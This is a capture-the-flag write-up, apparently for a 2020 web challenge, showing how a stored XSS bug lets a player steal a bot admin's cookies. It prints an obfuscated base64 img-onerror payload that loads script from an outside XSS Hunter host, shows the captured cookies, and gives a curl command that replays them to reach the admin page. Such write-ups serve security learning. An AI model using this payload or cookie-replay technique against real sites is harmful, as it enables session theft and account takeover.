

You can post XSS here:

Anti-Xmas Warriors

[Home](#)

[Post](#)

[Report](#)

[Admin](#)

Post content

Man I hate Xmas!

Submit

and you'll be given an ID

You can enter that ID here:

[Home](#) [Post](#) [Report](#) [Admin](#)

Is there a filthy Xmas sympathizer lurking in these forums? Don't wanna wait the 15 minutes for their post to disappear? Well just report their post and one of our helpful admins will come and check it out! (Note: Our admins are kinda lazy so they're pretty much guaranteed to delete any post you report.)

ID of post

1337



I'm not a robot



Submit

and their "admin" will look at it.

I created an xsshunter.com account (for free).

It gives various forms of XSS code injection. I used this one:

```
<img src=x
id=dmFylGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0lik7YS5zcmM9Imh0dHBzOi8vc2FteG1sLnhzcy5odCI7ZG
9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs&#61; onerror=eval(atob(this.id))>
```

This then showed up in xsshunter:

Anti-Virus Warners	52.207.14.64	http://127.0.0.1:3000/posts/516	View Full Report
Post			Resend Email Report
			Delete

Clicking yields more info it gathered:

Vulnerable Page URL

<http://127.0.0.1:3000/posts/516>

Execution Origin

<http://127.0.0.1:3000>

User IP Address

[52.207.14.64](#)

Referer

Victim User Agent

Jay's browser

Cookies

super_secret_admin_cookie=hello_yes_i_am_admin; admin_name=Jay

There is an admin page. If you provide these cookies to that page, you'll get the flag.

```
curl 'https://xmas.2020.chall.actf.co/admin' -H 'Cookie: super_secret_admin_cookie=hello_yes_i_am_admin; admin_name=Jay'
```

<p>Oh hey admin! The flag is actf{s4n1tize_y0ur_html_4nd_y0ur_h4nds}.</p>